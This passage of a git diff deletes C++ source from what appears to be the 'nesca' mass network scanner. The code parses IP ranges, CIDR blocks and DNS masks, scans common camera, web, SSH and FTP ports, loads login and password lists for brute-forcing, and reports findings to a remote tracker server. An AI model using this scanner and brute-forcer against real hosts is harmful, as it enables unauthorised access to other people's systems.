if(gMode == 0) - { - if(strstr(argv[2], "-") != NULL) - { - strcpy(gRange, argv[2]); - } - else if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, GetCIDRRangeStr(argv[2])); - } - else - { - strcpy(gRange, argv[2]); - strcat(gRange, "-"); - strcat(gRange, argv[2]); - }; - - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - strcpy(finalIP, strstr(gRange, "-") + 1); - } - else if(gMode == 1) - { - if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); - } - else - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - }; - - }; - - for(int i = 1; i <= argc - 1; i++) - { - s += strlen(argv[i]) + 2; - }; - - char *argString = new char [s + 1]; - ZeroMemory(argString, sizeof(*argString)); - - for(int i = 1; i <= argc - 1; i++) - { - strcat(argString, argv[i]); - if(i != argc - 1) strcat(argString, "::"); - }; - - if(strstr(argString, "-p") != NULL) - { - char *portString = strstr(argString, "-p"); - char p[4096] = {0}; - if(strstr(portString, "::") != NULL) - { - strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); - strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); - } - else - { - strcpy(gPorts, portString); - strcpy(p, strstr(argString, "-p") + 2); - }; - char *lex; - - if(strstr(p, ",") != NULL) - { - - lex = strtok(p, ","); - portArr[indexPorts++] = atoi(lex); - - while ((lex = strtok(NULL, ",")) != NULL) - { - portArr[indexPorts++] = atoi(lex); - overallPorts++; - }; - } - else if(strstr(p, "-") != NULL) - { - char *startp; - char *endp; - char buffForPorts[16] = {0}; - - lex = strtok(p, "-p"); - startp = lex; - lex = strtok(NULL, "-"); - endp = lex; - - for(int i = atoi(startp); i <= atoi(endp); i++ ) - { - portArr[indexPorts++] = i; - overallPorts++; - }; - - ZeroMemory(buffForPorts, sizeof(buffForPorts)); - } - else - { - - lex = strtok(p, "-p"); - portArr[indexPorts++] = atoi(lex); - }; - } - else - { - portArr[0] = 80; - portArr[1] = 81; - portArr[2] = 88; - portArr[3] = 8080; - portArr[4] = 8081; - portArr[5] = 60001; - portArr[6] = 60002; - portArr[7] = 8008; - portArr[8] = 8888; - portArr[9] = 554; - portArr[10] = 9000; - portArr[11] = 441; - portArr[12] = 4111; - portArr[13] = 6667; - portArr[14] = 3536; - portArr[15] = 22; - portArr[16] = 21; - - overallPorts = 16; - - strcpy(gPorts, "--DEFAULT"); - }; - - ZeroMemory(argString, sizeof(*argString)); - - delete[] argString; - -return 0; -} - -char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', - 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -int _getPos(char l) { - for(int i = 0; i < 38; ++i) - { - if(l == charAll[i]) return i; - }; - return -1; -} - -int _getChunkCount(char *data) { - int firstPos = _getPos(data[1]); - int secondPos = _getPos(data[2]); - return secondPos - firstPos + 1; -} - -int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { - if(strstr(mask, "[") != NULL) - { - char maskEnd[1024] = {0}; - char maskRes[1024] = {0}; - char *ptr1 = strstr(mask, "["); - char *ptr2 = strstr(ptr1, "]"); - int sz = ptr2 - ptr1; - char chunk[8] = {0}; - strncpy(chunk, ptr1, sz + 1); - int firstPos = _getPos(chunk[1]); - int secondPos = _getPos(chunk[2]); - - if(firstPos > secondPos) - { - stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)"); - return -1; - }; - - char maskStart[1024] = {0}; - int startPosition = strstr(mask, "[") - mask; - strncpy(maskStart, mask, startPosition); - - char maskEntry[1024] = {0}; - if(saveMaskEnder != NULL) - { - int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder; - strncpy(maskEntry, saveMaskEnder, startSavePosition); - }; - - int szMask = strlen(mask); - int szOffset = startPosition + 2; - if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; - - char maskSaver[128] = {0}; - if(firstPos != -1 && secondPos != -1) - { - for(int i = firstPos; i <= secondPos; ++i) - { - if(globalScanFlag == false) break; - - strcpy(maskSaver, saveMask); - strcat(maskSaver, maskEntry); - chunk[1] = charAll[i]; - strcat(maskSaver, chunk); - strcpy(maskRes, maskStart); - maskRes[startPosition] = charAll[i]; - strcat(maskRes, maskEnd); - - if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; - - ZeroMemory(maskSaver, sizeof(maskSaver)); - ZeroMemory(maskRes, sizeof(maskRes)); - }; - }; - } - else - { - strcpy(endIP2, saveMask); - - while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; - - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); - - ++indexIP; - - Threader::fireThread(res, (void*(*)(void))_connect); - }; -} - -void runAuxiliaryThreads() { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); -} - -int startScan(char* args) { - curl_global_init(CURL_GLOBAL_ALL); -<<<<<<< HEAD -======= - //SSL_library_init(); -// OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ -// SSL_load_error_strings(); /* Bring in and register error messages */ ->>>>>>> master - - horLineFlag = false; - flCounter = 0; - PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; - AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; - BrutingThrds = 0; - found = 0; - gTargets = 0; - targets = 0; - cons = 0; - overallPorts = 0; - found = 0; - indexIP = 0; - - ZeroMemory(octet, sizeof(octet)); - ZeroMemory(ipsstart, sizeof(ipsstart)); - ZeroMemory(ipsend, sizeof(ipsend)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectoryA(RESULT_DIR_NAME, NULL); -#else - struct stat str = {0}; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); - } -#endif - - int argc = 0; - char *argv[512] = { 0 }; - - char *tStr = strtok(args, "|"); - while (tStr != NULL) - { - argv[argc++] = tStr; - tStr = strtok(NULL, "|"); - }; - - ParseArgs(argc, argv); - mode = gMode; - int resInit = fInit(gMode, gRange); - - if (resInit == -1) - { - stt->doEmitionRedFoundData("[Error] fInit failure"); - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionIPRANGE(QString("--")); - stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - - _passLoginLoader(); - _NegativeLoader(); - - runAuxiliaryThreads(); - - if (gMode == 0) - { - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - - haters_gonna_hate_IPM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - std::string res = ""; - ++indexIP; - - tAddr.s_addr = ntohl(i); - res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - } - } - } - else if (gMode == 1) - { - strcpy(top_level_domain, gFirstDom); - - char dataEntry[1024] = { 0 }; - int innerCounter = 0; - int sz = strlen(saveEndIP); - - for (int i = 0; i < sz; ++i) - { - if (saveEndIP[i] == '\\') - { - if (saveEndIP[i + 1] == 'd') - { - strcat(dataEntry, "[09]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'w') - { - strcat(dataEntry, "[0z]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'l') - { - strcat(dataEntry, "[az]"); - ++i; - innerCounter += 4; - continue; - } - else - { - QString errStr = "Error at mask (Position:" + QString::number(i + 1); - errStr += ") \""; - errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); - errStr += "<u>"; - errStr += QString(saveEndIP).mid(i, i == 0 ? i + 2 : i + 1); - errStr += "</u>"; - errStr += QString(saveEndIP).mid(i + 2, strlen(saveEndIP)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - } - else - { - memset(dataEntry + innerCounter++, saveEndIP[i], 1); - }; - }; - - memset(dataEntry + innerCounter + 1, '\0', 1); - - for (int i = 0; i < sz; ++i) - { - if (dataEntry[i] == '[') - { - for (int j = i + 1; j < i + 3; ++j) - { - if ((dataEntry[j] < '0' || dataEntry[j] > '9') - && (dataEntry[j] < 'a' || dataEntry[j] > 'z') - && dataEntry[j] != '_' - && dataEntry[j] != '-' - ) - { - QString errStr = "Error at mask (" + QString::number(j - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, j - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(j - 1, j + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(j + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - i += 3; - } - else if (dataEntry[i] == ']') - { - QString errStr = "Error at mask (" + QString::number(i - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, i - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(i - 1, i + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(i + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - - unsigned long long dnsCounter = 1; - char *dnsPtr1 = strstr(dataEntry, "["); - while (dnsPtr1 != NULL) - { - dnsCounter *= _getChunkCount(dnsPtr1); - dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; - - gTargets = dnsCounter; - gTargetsOverall = gTargets; - stt->doEmitionYellowFoundData("Starting DNS-scan..."); - stt->doEmitionChangeStatus("Scanning..."); - - int y = _GetDNSFromMask(dataEntry, "", dataEntry); - if (y == -1) - { - stt->doEmitionRedFoundData("DNS-Mode error"); - }; - } - else if (gMode == -1) - { - if (flCounter == 0) - { - stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionChangeStatus("Scanning..."); - for (gC = 0; gC < flCounter; ++gC) - { - strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str()); - strcat(metaRange, "-"); - strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - haters_gonna_hate_IM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - ++indexIP; - - tAddr.s_addr = ntohl(i); - std::string res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - }; - } - } - } - else - { - stt->doEmitionRedFoundData("Wrong parameters."); - }; - - Sleep(gTimeOut + 1); - - stt->doEmitionYellowFoundData("Stopping threads..."); - stt->doEmitionChangeStatus("Stopping..."); - - while(cons > 0 || jsonArr->size() > 0) { - Sleep(2000); - }; - - stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - stt->doEmitionChangeStatus("Idle"); - stt->doEmitionKillSttThread(); -} - -void nCleanup(){ - Threader::cleanUp(); - curl_global_cleanup(); - - if(loginLst != NULL) - { - for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; - delete []loginLst; - loginLst = NULL; - }; - if(passLst != NULL) - { - for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; - delete []passLst; - passLst = NULL; - }; - if(GlobalNegatives != NULL) - { - for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; - delete []GlobalNegatives; - GlobalNegatives = NULL; - }; - if(wfPassLst != NULL) - { - for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; - delete []wfPassLst; - wfPassLst = NULL; - }; - if(wfLoginLst != NULL) - { - for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; - delete []wfLoginLst; - wfLoginLst = NULL; - }; - if(sshlpLst != NULL) - { - for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; - delete []sshlpLst; - sshlpLst = NULL; - }; - if(ipsstartfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsstartfl[i]; - delete []ipsstartfl; - ipsstartfl = NULL; - }; - if(ipsendfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsendfl[i]; - delete []ipsendfl; - ipsendfl = NULL; - }; - if(starterIP != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []starterIP[i]; - delete []starterIP; - starterIP = NULL; - }; -} diff --git a/nesca_startModule.cpp.BASE.3450.cpp b/nesca_startModule.cpp.BASE.3450.cpp deleted file mode 100644 index 67e82bd..0000000 --- a/nesca_startModule.cpp.BASE.3450.cpp +++ /dev/null @@ -1,2537 +0,0 @@ -#include "STh.h" -#include "mainResources.h" -#include "externData.h" -#include "externFunctions.h" -#include "Connector.h" -#include "Threader.h" -#include <thread> - -QJsonArray *jsonArr = new QJsonArray(); - -bool gShuffle = true; -bool __savingBackUpFile = false; -bool horLineFlag = false; -static int portArr[65536] = {0}; -int gThreadDelay = 10; -int gC = 0; -int gTimeOut = 3; -int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; -int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; -int GlobalNegativeSize = 0; -int ipCounter = 0; -int mode; -int found = 0, indexIP = 1; -int gMode; -int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; -int ipsstart[4], ipsend[4], - overallPorts, flCounter, octet[4]; -int BA = 0; -int gPingTimeout = 1; -unsigned int Activity = 0; - -unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -double ips = 0; -char top_level_domain[128] = {0}; -char endIP2[128] = {0}; -char **GlobalNegatives = 0; -char **loginLst, **passLst; -char **wfLoginLst, **wfPassLst; -char **sshlpLst; -char saveEndIP[128] = {0}; -char gRange[128] = {0}; -char gFirstDom[128] = {0}; -char gPorts[65536] = {0}; -char metaRange[256] = {0}; -char metaPercent[256] = {0}; -char metaIPS[256] = {0}; -char metaTargets[256] = {0}; -char metaETA[256] = {0}; -char metaOffline[256] = {0}; - -char currentIP[MAX_ADDR_LEN] = {0}; -char finalIP[32] = {0}; - -bool ErrLogFirstTime = true; -bool gPingNScan = false; -long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; -volatile int gThreads; -volatile int cons = 0; -volatile int BrutingThrds = 0; -volatile int threads = 20; - -void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) -{ - FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); - if(errFile != NULL) - { - fclose(errFile); - }; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L"./logs", NULL); -#else - struct stat st = {0}; - if (stat("./logs", &st) == -1) { - mkdir("./logs", 0700); - } -#endif - time_t rtime; - time(&rtime); - char cdate[32] = {0}; - strcpy (cdate, ctime (&rtime)); - - char *totalErrLog = NULL; - char stylePart[] = {"<style>html{background-color:#373737;}#mainblock{background-color:#646464;width:100%;border:1px dotted black;}#sender-time{color:#ffffff;}#msr{color:#b9b9b9;}#msc{width:99,8%;border:1px solid black;}pre{width:99,8%;border:1px solid gray;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;white-space:pre-wrap;word-wrap:break-word;}</style>"}; - char firstPart[] = {"<div id=\"mainblock\"><div id=\"sender-time\">"}; - char secondPart[] = {"</div><span id=\"msr\">Message sent:</span><pre>"}; - char thirdPart[] = {"</pre><span id=\"msr\">Reply received:</span><pre><iframe width=\"100%\" height=\"600px\" id=\"msc\" src=\"data:text/html;base64,"}; - char forthPart[] = {"\"></iframe></pre></div>"}; - - int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); - - totalErrLog = new char[sz + 4]; - ZeroMemory(totalErrLog, sz); - if(ErrLogFirstTime) strcat(totalErrLog, stylePart); - strcat(totalErrLog, firstPart); - strcat(totalErrLog, sender); - strcat(totalErrLog, " - "); - strcat(totalErrLog, cdate); - strcat(totalErrLog, secondPart); - strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); - strcat(totalErrLog, thirdPart); - strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); - strcat(totalErrLog, forthPart); - memset(totalErrLog + sz, '\0', 1); - - errFile = fopen("./logs/ns-track_errors.html", "a"); - if(errFile != NULL) - { - fwrite(totalErrLog, sz, 1, errFile); - fclose(errFile); - } - else - { - stt->doEmitionRedFoundData("[Log] -Cant open log file!"); - }; - if(totalErrLog != NULL) - { - delete []totalErrLog; - totalErrLog = NULL; - }; -} - -QString GetNSErrorDefinition(const char *str, const char *elem) -{ - const char *temp = strstr(str, elem); - - if(temp != NULL) - { - char definition[128] = {0}; - const char *firstComma = strstr(temp + strlen(elem) + 1, "\""); - const char *lastComma = strstr(firstComma + 1, "\""); - - int sz = lastComma - firstComma - 1; - - strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); - - return QString(definition); - } - else return QString("No definition found!"); -} - -void ConInc() -{ - ++ipCounter; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc cons; - }; -#else - asm("lock; incl cons"); -#endif - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void ConDec() -{ - if(cons > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec cons; - }; -#else - asm("lock; decl cons"); -#endif - - }; - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void _SaveBackupToFile() -{ - char saveStr[512] = {0}; - char saveBuffer[4096] = {0}; - char endStr[128] = {0}; - - if(gMode == 0 || gMode == 1) - { - if(gMode == 1) - { - strcpy(endStr, currentIP); - } - else - { - sprintf(endStr, "%s-%s", currentIP, finalIP); - }; - - if(strlen(endStr) > 0) - { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - } - else if(gMode == -1) - { - char ipRange[128] = {0}; - - if(flCounter > 0) - { - FILE *savingFile = fopen("tempIPLst.bk", "w"); - if (savingFile != NULL) - { - for(int tCounter = gC; tCounter < flCounter; ++tCounter) - { - sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", - ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], - ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); - - fputs(ipRange, savingFile); - - ZeroMemory(ipRange, sizeof(ipRange)); - }; - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - }; - - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PERSKEY]:"); - strncat(saveStr, trcPersKey, 32); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - FILE *savingFile = fopen("restore", "w"); - - if (savingFile != NULL) - { - fputs(saveBuffer, savingFile); - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - - ZeroMemory(saveStr, strlen(saveStr)); - ZeroMemory(saveBuffer, strlen(saveBuffer)); -} - -void _saver() -{ - while(globalScanFlag) - { - __savingBackUpFile = true; - _SaveBackupToFile(); - __savingBackUpFile = false; - Sleep(10000); - }; -} - -void _timer() { - char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; - int ticks = 0; - int ovrlIPs = 0; - ips = 1; - Sleep(50); - - while(globalScanFlag) - { - ++ticks; - ovrlIPs += ipCounter; - ipCounter = 0; - ips = ovrlIPs/ticks; - strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); - - strcpy(metaIPS, b); - strcat(timeLeft, b); - strcat(timeLeft, "/s ("); - - if(ips > 0) - { - strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5); - } - else strcpy(dbuffer, "INF"); - strcpy(metaETA, dbuffer); - strcat(dbuffer, "d)"); - strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); - - - stt->doEmitionIPS(QString(timeLeft)); - stt->doEmitionOffline(QString::number(offlines)); - - ZeroMemory(timeLeft, sizeof(timeLeft)); - ZeroMemory(dbuffer, sizeof(dbuffer)); - Sleep(1000); - }; -} - -void _tracker() { - while(true) { - while(!trackerOK) Sleep(1000); - - if(globalScanFlag == false && jsonArr->size() == 0) break; - char rBuffT[250000] = {0}; - char *msg = new char[4096]; - ZeroMemory(msg, sizeof(*msg)); - char ndbServer[64] = {0}; - char ndbScriptT[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET /"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - 